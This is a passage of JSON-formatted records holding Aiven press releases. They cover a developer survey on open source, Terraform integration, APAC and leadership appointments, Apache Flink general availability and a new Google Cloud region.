identified this as a key benefit, with other benefits cited including reduced vendor lock-in (52.5%) and the ability to build your own features (52.5%)."}],"markDefs":[],"style":"normal"},{"_key":"KNnKVCWA","_type":"block","children":[{"_key":"sZfdJqnY","_type":"span","marks":[],"text":"However, developers were also frank with the challenges also associated with open source, with 52 per cent stating maintenance as an obstacle to using open source technology. This was the most cited challenge among respondents, compared to other hindrances to open source adoption, such as difficulties configuring or installing the software (48%), a lack of support (45%), and hidden costs (27%)."}],"markDefs":[],"style":"normal"},{"_key":"e5sDHOzu","_type":"block","children":[{"_key":"9fXGIlQ7","_type":"span","marks":[],"text":"As a result, businesses are looking for solutions to make open source easier to implement. 35 per cent of respondents said they would opt for a managed open source solution in future, enabling them to avoid these maintenance issues and spend more time focussing on more business critical tasks."}],"markDefs":[],"style":"normal"},{"_key":"FRdSWSgH","_type":"block","children":[{"_key":"Q5a7BjYJ","_type":"span","marks":[],"text":"Heikki Nousiainen, CTO \u0026 Co-founder at Aiven, said: “Using open source software is a fantastic way for enterprises to take advantage of the latest innovation in software. More importantly, it provides businesses with the flexibility for growth, without having to worry about vendor lock-in and other challenges that come with using proprietary software. However, open source software does not come without its own challenges and it is crucial that businesses looking to adopt open source have the necessary support to overcome any hurdles associated with installation and maintenance, whether that be built in-house or provided by a third-party.”"}],"markDefs":[],"style":"normal"},{"_key":"WIR6l3q9","_type":"block","children":[{"_key":"g4bYDtFB","_type":"span","marks":[],"text":"Research conducted by Resonance on behalf of Aiven in January/February 2021. The study surveyed 200 UK developers who work in large enterprises and who specialise in cloud and database technology."}],"markDefs":[],"style":"normal"},{"_key":"8TLwbmCy","_type":"block","children":[{"_key":"EUBCgQ5L","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"FtCDIEBH","_type":"block","children":[{"_key":"SzihHQiE","_type":"span","marks":[],"text":"Headquartered in Helsinki with offices in Berlin, Sydney, Toronto and Boston, Aiven provides managed open source data technologies, like PostgreSQL, Kafka, and M3, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, we do what we do best; manage cloud data infrastructure. We enable our customers to drive business results from open source that trigger true transformations far beyond their own backyards. Visit us at "},{"_key":"vBHvsvl0","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"Dy9Nphoa","_type":"span","marks":[],"text":" and follow "},{"_key":"ickb24ho","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"3ZuSt7Ua","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2021-05-27T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Developers find open source software transparent, but cite maintenance as biggest downside of open source technology","metaTitle":"Why open source is the future for cloud developers"},"slug":{"_type":"slug","current":"/press/why-open-source-is-the-future-for-cloud-developers"},"subtitle":"Developers find open source software transparent, but cite maintenance as biggest downside of open source technology.","title":"Why open source is the future for cloud developers"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"23ixHuOlWKE2jmdU3rLUtb","_rev":"AKgKLyYIzQkMcxjfvdRJXR","_type":"pressRelease","_updatedAt":"2022-12-02T10:37:13Z","body":"__Helsinki, Finland__\n\nAiven recently built an integration to support Terraform tooling based on feedback from current and prospective clients looking to either include Aiven services in their Terraform tooling or looking for a streamlined way to manage large Aiven projects.\n\nTerraform is an open-source, infrastructure as code tool from HashiCorp. It’s purpose is to provide a seamless way to configure, manage and automate infrastructure components. From the Terraform website,\n\n\u003e The infrastructure Terraform can manage includes low-level components such as compute instances, storage, and networking, as well as high-level components such as DNS entries, SaaS features, etc.\n\nThe original Terraform provider was created and maintained by one of its clients, Jelmer Snoeck. The ownership of the Terraform provider was transferred to Aiven after additional development from the Aiven team.\n\nStaff Software Engineer, Rauli Ikonen was responsible for developing the Terraform integration to a version where it could be made generally available for all Aiven customers interested in the tooling, \"Terraform allows taking your management to the next level. While the Aiven web UI and command line tools are easy to use for accomplishing most tasks, actually having everything defined as code makes it so much easier to do coordinated changes, know exactly what you have currently running and add new resources that are guaranteed to have the correct properties.\"\n\nTo learn more about Terraform and its use, visit Aiven’s blog post. For more information on how to integrate Terraform with Aiven, visit the [Aiven Terraform Integration documentation](https://help.aiven.io/en/articles/2370350-aiven-terraform-integration).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"FXe7C0dz","_type":"block","children":[{"_key":"8c396620e634","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"60316d43d7b2","_type":"block","children":[{"_key":"cf14453799e9","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 3, 2018-"},{"_key":"UQ4eMMMs","_type":"span","marks":[],"text":" recently built an integration to support Terraform tooling based on feedback from current and prospective clients looking to either include Aiven services in their Terraform tooling or looking for a streamlined way to manage large Aiven projects."}],"markDefs":[],"style":"normal"},{"_key":"MpnX4UqU","_type":"block","children":[{"_key":"fpp3t3Oo","_type":"span","marks":[],"text":"Terraform is an open-source, infrastructure as code tool from HashiCorp. It’s purpose is to provide a seamless way to configure, manage and automate infrastructure components. From the Terraform website,"}],"markDefs":[],"style":"normal"},{"_key":"L9VAR6KT","_type":"block","children":[{"_key":"pJx1NwsB","_type":"span","markDefs":[],"style":"normal","text":"The infrastructure Terraform can manage includes low-level components such as compute instances, storage, and networking, as well as high-level components such as DNS entries, SaaS features, etc."}],"markDefs":[],"style":"blockquote"},{"_key":"7We6MtVT","_type":"block","children":[{"_key":"Q0rWDrif","_type":"span","marks":[],"text":"The original Terraform provider was created and maintained by one of its clients, Jelmer Snoeck. The ownership of the Terraform provider was transferred to Aiven after additional development from the Aiven team."}],"markDefs":[],"style":"normal"},{"_key":"iL8WHghX","_type":"block","children":[{"_key":"s9LCeLGp","_type":"span","marks":[],"text":"Staff Software Engineer, Rauli Ikonen was responsible for developing the Terraform integration to a version where it could be made generally available for all Aiven customers interested in the tooling, \"Terraform allows taking your management to the next level. While the Aiven web UI and command line tools are easy to use for accomplishing most tasks, actually having everything defined as code makes it so much easier to do coordinated changes, know exactly what you have currently running and add new resources that are guaranteed to have the correct properties.\""}],"markDefs":[],"style":"normal"},{"_key":"8McYO4JO","_type":"block","children":[{"_key":"XhC4PBEc","_type":"span","marks":[],"text":"To learn more about Terraform and its use, visit Aiven’s blog post. For more information on how to integrate Terraform with Aiven, visit the "},{"_key":"66hnA1nd","_type":"span","marks":["m7063369590587"],"text":"Aiven Terraform Integration documentation"},{"_key":"0Nat3xD3","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7063369590587","_type":"link","href":"https://help.aiven.io/en/articles/2370350-aiven-terraform-integration"}],"style":"normal"},{"_key":"G1irHbdz","_type":"block","children":[{"_key":"BphWKv8C","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"D9atkWwS","_type":"block","children":[{"_key":"hadNrtl0","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"F5LNKOwK","_type":"block","children":[{"_key":"XAEtJ0x5","_type":"span","marks":[],"text":"You can visit "},{"_key":"upUzQXhx","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"UrEdieIW","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"PvLjPtIo","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"DnqxpW7O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-10-03T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: We now support Terraform, an open-source infrastructure and code tool where you can build your infrastructure as code.","metaTitle":"Aiven now supports Terraform tooling"},"slug":{"_type":"slug","current":"/press/aiven-now-supports-terraform-tooling"},"subtitle":"Aiven Press Release: We now support Terraform, an open-source infrastructure and code tool where you can build your infrastructure as code.","title":"Aiven now supports Terraform tooling"}
{"__i18n_lang":"en","_createdAt":"2022-10-24T22:17:57Z","_id":"73eac62c-3d71-49ec-9c6f-870c3860fc93","_rev":"vjdmft1mUF3jrHqYRdJ3iX","_type":"pressRelease","_updatedAt":"2022-10-27T08:48:06Z","content":[{"_key":"b2d0ae9ab4e9","_type":"block","children":[{"_key":"5df69d40c29d0","_type":"span","marks":["strong"],"text":"Singapore — October 26, 2022 "},{"_key":"5df69d40c29d1","_type":"span","marks":[],"text":"- Aiven, the open source cloud data platform company, has announced the appointment of Olivier van Grembergen as Regional Vice President (RVP) of Asia Pacific (APAC) to drive the company’s expansion and accelerate growth across the region. Based in Singapore, Olivier will focus on sales and channel development, team expansion, and will lead Aiven’s regional growth initiatives and strategic partnerships. This marks an exciting chapter in Aiven’s development, with the company leading the booming market for managed cloud data solutions, opening four offices in the last 12 months alone, and boosting revenue by more than 100%."}],"markDefs":[],"style":"normal"},{"_key":"7304769c8baf","_type":"block","children":[{"_key":"4d177390ff650","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"4bf4fc836412","_type":"block","children":[{"_key":"90bcf10186650","_type":"span","marks":[],"text":"Olivier joins Aiven with a stellar record of driving transformational growth with companies such as AWS, Google, and HP. He is an accomplished digital transformation executive with more than 2 decades of experience, specialising in architecting strategy, delivering large-scale organisational change, and generating sustainable top and bottom-line growth.\n"}],"markDefs":[],"style":"normal"},{"_key":"c8807fb8a932","_type":"block","children":[{"_key":"78c769b919850","_type":"span","marks":[],"text":"Alongside the new RVP hire, in a bid to develop Aiven’s strategic relationships in the region and continue to aid organisations in their cloud transformation journeys, the company has signed an agreement with a major Google Cloud reseller, Cloud Ace, that works across seven key APAC territories, including Japan and Indonesia. This will further strengthen Aiven’s relationship with Google Cloud and help to provide customers in the region with proven open-source data services already widely used."}],"markDefs":[],"style":"normal"},{"_key":"bb3c3b6445a2","_type":"block","children":[{"_key":"1c961a7ce5950","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7d5673f820a5","_type":"block","children":[{"_key":"878c55afd2840","_type":"span","marks":[],"text":"Oskari Saarenmaa, CEO and co-founder, Aiven, comments on the appointment and continued growth in the APAC region."}],"markDefs":[],"style":"normal"},{"_key":"eeb4fc9e532c","_type":"block","children":[{"_key":"a866eb74aff40","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9ada0676184d","_type":"block","children":[{"_key":"1e7620d9f17b0","_type":"span","marks":[],"text":"He says, “We’re thrilled with the pace at which we’ve been growing in the Asia Pacific region over the past year. Since October 2021, we have increased our regional headcount by more than 200% and are aggressively expanding across the Asia Pacific region. This couldn’t be a better time to welcome Olivier to chart our new phase of growth and guide our success as we continue to grow in a diverse region.”"}],"markDefs":[],"style":"normal"},{"_key":"72b1b57082e0","_type":"block","children":[{"_key":"aaaef0d277fc0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b1e22038dbc9","_type":"block","children":[{"_key":"4fdd3188e0bf0","_type":"span","marks":[],"text":"“We also fully intend to give back to the region, through schemes such as "},{"_key":"4fdd3188e0bf1","_type":"span","marks":["d8a2f3881031"],"text":"Cluster"},{"_key":"4fdd3188e0bf2","_type":"span","marks":[],"text":", where we work with promising start-ups to leverage our platform effectively. The programme is designed to provide all the tools required to construct a modern data pipeline, including PostgreSQL, Apache Kafka®, OpenSearch, Grafana, and more, as well as providing up to $100,000 credit for Aiven’s fully managed services for one year, all so you can work towards greatness.”"}],"markDefs":[{"_key":"d8a2f3881031","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"5bcb58eb4129","_type":"block","children":[{"_key":"32c6b6c4c7010","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"46311a2cecb8","_type":"block","children":[{"_key":"30d97a8fd3b40","_type":"span","marks":[],"text":"Countries in the region continue to digitally transform, with government-led digital initiatives driving huge growth in both the public and private sectors. Singapore’s Smart Nation 2025 blueprint and Indonesia’s Go Digital strategies are two prime examples. In fact, the Asian Development Bank "},{"_key":"30d97a8fd3b41","_type":"span","marks":["bc75de7213a6"],"text":"predicts"},{"_key":"30d97a8fd3b42","_type":"span","marks":[],"text":" that digital transformation could add 65 million jobs annually and an economic dividend of more than US$1.7 trillion to the region, proving that technologies such as open source will only become more important."}],"markDefs":[{"_key":"bc75de7213a6","_type":"link","href":"https://aric.adb.org/pdf/aeir/AEIR2021_highlights.pdf"}],"style":"normal"},{"_key":"4a1b9ac2a4ff","_type":"block","children":[{"_key":"cd35f28f36e10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b7b3917c44bc","_type":"block","children":[{"_key":"538523fded720","_type":"span","marks":[],"text":"“The potential for open-source technology in this region is immense and we seek to grow our network of partners, recruit the best talent, and help customers in APAC address their development and digital transformation needs. This is an exciting time for us in the APAC region, and we’re committed to helping our customers succeed in their chosen area. I am thrilled to be joining Aiven at such a pivotal time,” said Olivier van Grembergen, Regional Vice President of APAC, Aiven."}],"markDefs":[],"style":"normal"},{"_key":"78b86fb6d600","_type":"block","children":[{"_key":"60d4bd4ecb230","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9e2e6067d067","_type":"block","children":[{"_key":"0b018a7d88d20","_type":"span","marks":[],"text":"This latest release follows Aiven’s global announcements of the beta launch of "},{"_key":"0b018a7d88d21","_type":"span","marks":["0197568f41d6"],"text":"Aiven for ClickHouse"},{"_key":"10f59208aad4","_type":"span","marks":[],"text":"®, marking Aiven’s entrance to the cloud data warehousing market, and the addition of "},{"_key":"0b018a7d88d23","_type":"span","marks":["dcaee5da972b"],"text":"Kafkawize"},{"_key":"0b018a7d88d24","_type":"span","marks":[],"text":", an open-source data governance tool for Apache Kafka®, to Aiven’s solutions portfolio."}],"markDefs":[{"_key":"0197568f41d6","_type":"link","href":"https://aiven.io/blog/aiven-for-clickhouse-beta-now-available"},{"_key":"dcaee5da972b","_type":"link","href":"https://kafkawize.com/"}],"style":"normal"},{"_key":"de169f328183","_type":"block","children":[{"_key":"2a93cdecb0a50","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1b1ff4112447","_type":"block","children":[{"_key":"5d4fd9f1afa70","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"5d4fd9f1afa71","_type":"span","marks":["60b833d4ecea"],"text":"https://aiven.io/ja"}],"markDefs":[{"_key":"60b833d4ecea","_type":"link","href":"https://aiven.io/ja"}],"style":"normal"},{"_key":"eb7c5ce78f05","_type":"block","children":[{"_key":"676adb879ec80","_type":"span","marks":[],"text":"Free Trial "},{"_key":"676adb879ec81","_type":"span","marks":["d3d1e544234f"],"text":"https://console.aiven.io/signup"}],"markDefs":[{"_key":"d3d1e544234f","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"00028460280b","_type":"block","children":[{"_key":"57729765a97a0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"d9131e855c28","_type":"block","children":[{"_key":"a6529077e6110","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"d4e7a57a08a7","_type":"block","children":[{"_key":"8a0a564a3aee0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. 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{"__i18n_lang":"en","_createdAt":"2022-11-28T05:25:57Z","_id":"097c3eb1-e408-4bbc-a4b2-8904a6ed9c13","_rev":"g8BVLuuhNlxml1asghtZlp","_type":"pressRelease","_updatedAt":"2022-11-29T08:01:00Z","content":[{"_key":"18cba6a9391d","_type":"block","children":[{"_key":"4e57c84105e40","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 29, 2022 "},{"_key":"4e57c84105e41","_type":"span","marks":[],"text":"- "},{"_key":"4e57c84105e42","_type":"span","marks":["c4b65a602766"],"text":"Aiven"},{"_key":"4e57c84105e43","_type":"span","marks":[],"text":", the open source cloud data platform company, has announced several key senior leadership appointments who collectively are focused on helping deliver the company’s commitment to democratising access to the best open source technologies while reducing the environmental impact of cloud services."}],"markDefs":[{"_key":"c4b65a602766","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"caa319d6673e","_type":"block","children":[{"_key":"81e68dd4a95b0","_type":"span","marks":[],"text":"\nThese strategic new leadership roles span operations and strategy, product marketing, developer relations, and product management and include"}],"markDefs":[],"style":"normal"},{"_key":"2137c8c3aad5","_type":"block","children":[{"_key":"530dafec759f0","_type":"span","marks":["em"],"text":"Katariina Korhonen, Vice President of Strategy and Operations"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c896853d2bd5","_type":"block","children":[{"_key":"8a5653ce1ddf0","_type":"span","marks":["em"],"text":"Amy Krishnamohan, Vice President of Product Marketing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"c17f497e10c6","_type":"block","children":[{"_key":"d9a0034e831b0","_type":"span","marks":["em"],"text":"Ian Massingham, Vice President of Developer Relations and Community"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"24eafb5b4c7d","_type":"block","children":[{"_key":"f1a3e964ec140","_type":"span","marks":["em"],"text":"Jonah Kowall, Vice President of Product Management"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"07f220309d68","_type":"block","children":[{"_key":"2de371bc86540","_type":"span","marks":[],"text":"\nOskari Saarenmaa, CEO and Co-founder at Aiven, comments on the appointments. “Aiven’s mission is to make developers’ lives better, by helping them build more sophisticated applications accessible to all. When starting Aiven, our goal was to build the company that we wanted to work for. Today we are delighted to be welcoming such a talented group to our leadership team and our wider Aiven community. Our ability to attract the best talent, while also supporting the career growth of our people continues to be instrumental in helping us develop new platform capabilities that bring us closer towards our goal of building more sustainable applications in the cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"edd67ebb9444","_type":"block","children":[{"_key":"4c9aa1d8996f0","_type":"span","marks":[],"text":"\n"},{"_key":"4aea11fa3deb0","_type":"span","marks":["strong"],"text":"Katariina Korhonen"},{"_key":"4aea11fa3deb1","_type":"span","marks":[],"text":" has been appointed "},{"_key":"4aea11fa3deb2","_type":"span","marks":["strong"],"text":"Vice President of Strategy and Operations to Aiven's Executive Leadership team"},{"_key":"4aea11fa3deb3","_type":"span","marks":[],"text":". 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Scaling up or down your clusters, or gracefully shutting down your Flink jobs is now greatly automated through the Aiven console. Aiven for Apache Flink, also supports automatic versioning of and previewing the resulting pipeline output for your Flink applications for easier quality checks and application deployment lifecycle."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c0b22e3724b","_type":"block","children":[{"_key":"e28a214a83860","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"cbab0d255146","_type":"block","children":[{"_key":"0bf4f314557f0","_type":"span","marks":[],"text":"Apache Flink is the foundational stream processing technology for the Aiven platform, managed and controlled by the Aiven console, API and CLI to drive programmatic stream processing at scale. This not only complements Aiven’s open source streaming ecosystem for Apache Kafka but also gets Aiven a step closer to providing a cloud data platform that can  ease the integration and processing of real-time data for developers and data engineers. With Aiven’s open source streaming ecosystem, managed database and observability technologies, Aiven now offers a cloud data platform ready to harness the demands of the modern technology organization."}],"markDefs":[],"style":"normal"},{"_key":"75a0345686f4","_type":"block","children":[{"_key":"e292c1fe1d130","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"d892a691bf13","_type":"block","children":[{"_key":"20ccf8ed90410","_type":"span","marks":[],"text":"To learn more about Aiven for Apache Flink, please visit "},{"_key":"20ccf8ed90411","_type":"span","marks":["33d5d28604c8"],"text":"https://aiven.io/flink"},{"_key":"20ccf8ed90412","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"33d5d28604c8","_type":"link","href":"https://aiven.io/flink"}],"style":"normal"},{"_key":"32cabd6192d2","_type":"block","children":[{"_key":"6367741e44950","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"610c7171fc88","_type":"block","children":[{"_key":"4254f38e149f0","_type":"span","marks":["strong"],"text":"Additional Resources"}],"markDefs":[],"style":"normal"},{"_key":"3fa47390d311","_type":"block","children":[{"_key":"5bfd21ea50d70","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"4e226d11db6a","_type":"block","children":[{"_key":"0a09fea413570","_type":"span","marks":[],"text":"Read more about our "},{"_key":"0a09fea413571","_type":"span","marks":["98348c31cef2"],"text":"open source streaming ecosystem for Apache Kafka"},{"_key":"0a09fea413572","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"98348c31cef2","_type":"link","href":"https://aiven.io/press/aiven-introduces-an-open-source-streaming-ecosystem-for-apache-kafka"}],"style":"normal"},{"_key":"8b848a99f1aa","_type":"block","children":[{"_key":"78b4925949170","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"86e4d1ff2b8d","_type":"block","children":[{"_key":"eb2a40c869020","_type":"span","marks":[],"text":"Learn more about our "},{"_key":"eb2a40c869021","_type":"span","marks":["14106f3aea22"],"text":"Apache Kafka portfolio"},{"_key":"eb2a40c869022","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"14106f3aea22","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"268043269d59","_type":"block","children":[{"_key":"894548a14b3b0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"2fb66ae986f4","_type":"block","children":[{"_key":"b243e9ae8acb0","_type":"span","marks":[],"text":"                                                         ###"}],"markDefs":[],"style":"normal"},{"_key":"d6ae4b1abf5e","_type":"block","children":[{"_key":"536f5cc716a40","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"da0892995bce","_type":"block","children":[{"_key":"1d0e21891ee90","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"c1ff889378bf","_type":"block","children":[{"_key":"35278b612a8f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"5684ec44597d","_type":"block","children":[{"_key":"56e3b0ce897c0","_type":"span","marks":[],"text":"To learn more about Aiven, visit aiven.io and follow @aiven_io on Twitter."}],"markDefs":[],"style":"normal"},{"_key":"835fcf8343a5","_type":"block","children":[{"_key":"cb539de6c16c0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"},{"_key":"563c789b3851","_type":"block","children":[{"_key":"a7313576f6e70","_type":"span","marks":["strong"],"text":"Media Contacts"}],"markDefs":[],"style":"normal"},{"_key":"5f8b868d1aa6","_type":"block","children":[{"_key":"8dd83433dec00","_type":"span","marks":[],"text":"Walker Sands"}],"markDefs":[],"style":"normal"},{"_key":"0363bda01bf9","_type":"block","children":[{"_key":"6a573b628c200","_type":"span","marks":[],"text":"Molly Leahy"}],"markDefs":[],"style":"normal"},{"_key":"33d608a293e0","_type":"block","children":[{"_key":"0bb51badb61f0","_type":"span","marks":["c668888bc070"],"text":"molly.leahy@walkersands.com"}],"markDefs":[{"_key":"c668888bc070","_type":"link","href":"mailto:molly.leahy@walkersands.com"}],"style":"normal"},{"_key":"4824c79a88d6","_type":"block","children":[{"_key":"1ef8d3f90ec40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"ddfe679d37ef","_type":"block","children":[{"_key":"a2cd60e3d2ed0","_type":"span","marks":[],"text":"Aiven"}],"markDefs":[],"style":"normal"},{"_key":"7fdd4be53d5b","_type":"block","children":[{"_key":"53e9d4b47cdf0","_type":"span","marks":[],"text":"Emma Paajanen"}],"markDefs":[],"style":"normal"},{"_key":"8bff7e60c78a","_type":"block","children":[{"_key":"4bb07909ea5e0","_type":"span","marks":["e683951db5c4"],"text":"press@aiven.io"}],"markDefs":[{"_key":"e683951db5c4","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"800d3a17cdfd","_type":"block","children":[{"_key":"96ec836d25730","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"806757941fc8","_type":"block","children":[{"_key":"d8e94b29df610","_type":"span","marks":["em"],"text":"Apache® and Apache Kafka® Kafka, Apache Flink®, Flink are either registered trademarks or trademarks of the Apache Software Foundation in the United States and/or other countries. No endorsement by the Apache Software Foundation is implied by the use of these marks. All other trademarks are the property of their respective owners"},{"_key":"d8e94b29df611","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"660647102618","_type":"block","children":[{"_key":"f2ab4cb9a8be0","_type":"span","marks":[],"text":"\n\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-02-08T13:00:00.000Z","seo":{"_type":"metaData","metaTitle":"Aiven's Apache Flink is now generally available"},"slug":{"_type":"slug","current":"/press/aiven-open-source-streaming-ecosystem-innovation-for-apache-flink"},"subtitle":"Apache Flink® service enables enterprises and developers to process streaming data in real time and deploy their fully managed Flink applications in the cloud of their choice\n","title":"Aiven continues open source streaming ecosystem innovation with general availability for Aiven for Apache Flink®"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"60qMORimm7f4E9Iqnd45nE","_rev":"v53ZsDDD1bdWz9EKVijQML","_type":"pressRelease","_updatedAt":"2022-12-01T15:37:39Z","body":"__Helsinki, Finland__\n\nOn June 18th, Google Cloud Platform (GCP) released its latest cloud region, europe-north1, located in Hamina, Finland. The primary purpose of the 3-zone region is to decrease end-user latency in the Nordics and Eastern Europe.\n\nGCP end-users include those using Google services, such as Cloud SQL, as well as those using services from Google Cloud partners. One partner is Aiven, an ISO 27001 certified Database-as-a-Service company.\n\nOn June 19th, one day after Google’s release of europe-north1, Aiven became the first partner to offer production-ready database services in the region, marking their their 16th GCP region.\n\nAiven’s CTO, Heikki Nousiainen, believes one of their core competencies is making newly released regions available for their customers as quickly as possible, and that doing so is one of their competitive advantages, \"We're fully committed to and also uniquely capable of meeting our customers’ requirements on running workloads in any location of their choosing, whether they select a cloud region for latency, performance or regulatory reasons. Quickly providing the newest Google Cloud Platform region was a logical continuation of this promise: this specific region is especially well suited for our customers to address the Nordic and Eastern European markets.\"\n\nAs with other GCP regions, Aiven offers open-source PostgreSQL, Apache Kafka and Cassandra, OpenSearch, Redis, InfluxDB, and Grafana—most of which can be used alone or in an integrated manner.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"Kc9Q2CtG","_type":"block","children":[{"_key":"uU6ifEF5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"x0uYhEzw","_type":"block","children":[{"_key":"72a967f375be","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 19, 2018- "},{"_key":"ToAZElzf","_type":"span","marks":[],"text":"On June 18th, Google Cloud Platform (GCP) released its latest cloud region, europe-north1, located in Hamina, Finland. The primary purpose of the 3-zone region is to decrease end-user latency in the Nordics and Eastern Europe."}],"markDefs":[],"style":"normal"},{"_key":"8yKjTAH0","_type":"block","children":[{"_key":"2jSakKiq","_type":"span","marks":[],"text":"GCP end-users include those using Google services, such as Cloud SQL, as well as those using services from Google Cloud partners. One partner is Aiven, an ISO 27001 certified Database-as-a-Service company."}],"markDefs":[],"style":"normal"},{"_key":"W0IvEZIL","_type":"block","children":[{"_key":"WIQnyUdY","_type":"span","marks":[],"text":"On June 19th, one day after Google’s release of europe-north1, Aiven became the first partner to offer production-ready database services in the region, marking their their 16th GCP region."}],"markDefs":[],"style":"normal"},{"_key":"6oYmvfhB","_type":"block","children":[{"_key":"fna9SEzG","_type":"span","marks":[],"text":"Aiven’s CTO, Heikki Nousiainen, believes one of their core competencies is making newly released regions available for their customers as quickly as possible, and that doing so is one of their competitive advantages, \"We're fully committed to and also uniquely capable of meeting our customers’ requirements on running workloads in any location of their choosing, whether they select a cloud region for latency, performance or regulatory reasons. Quickly providing the newest Google Cloud Platform region was a logical continuation of this promise: this specific region is especially well suited for our customers to address the Nordic and Eastern European 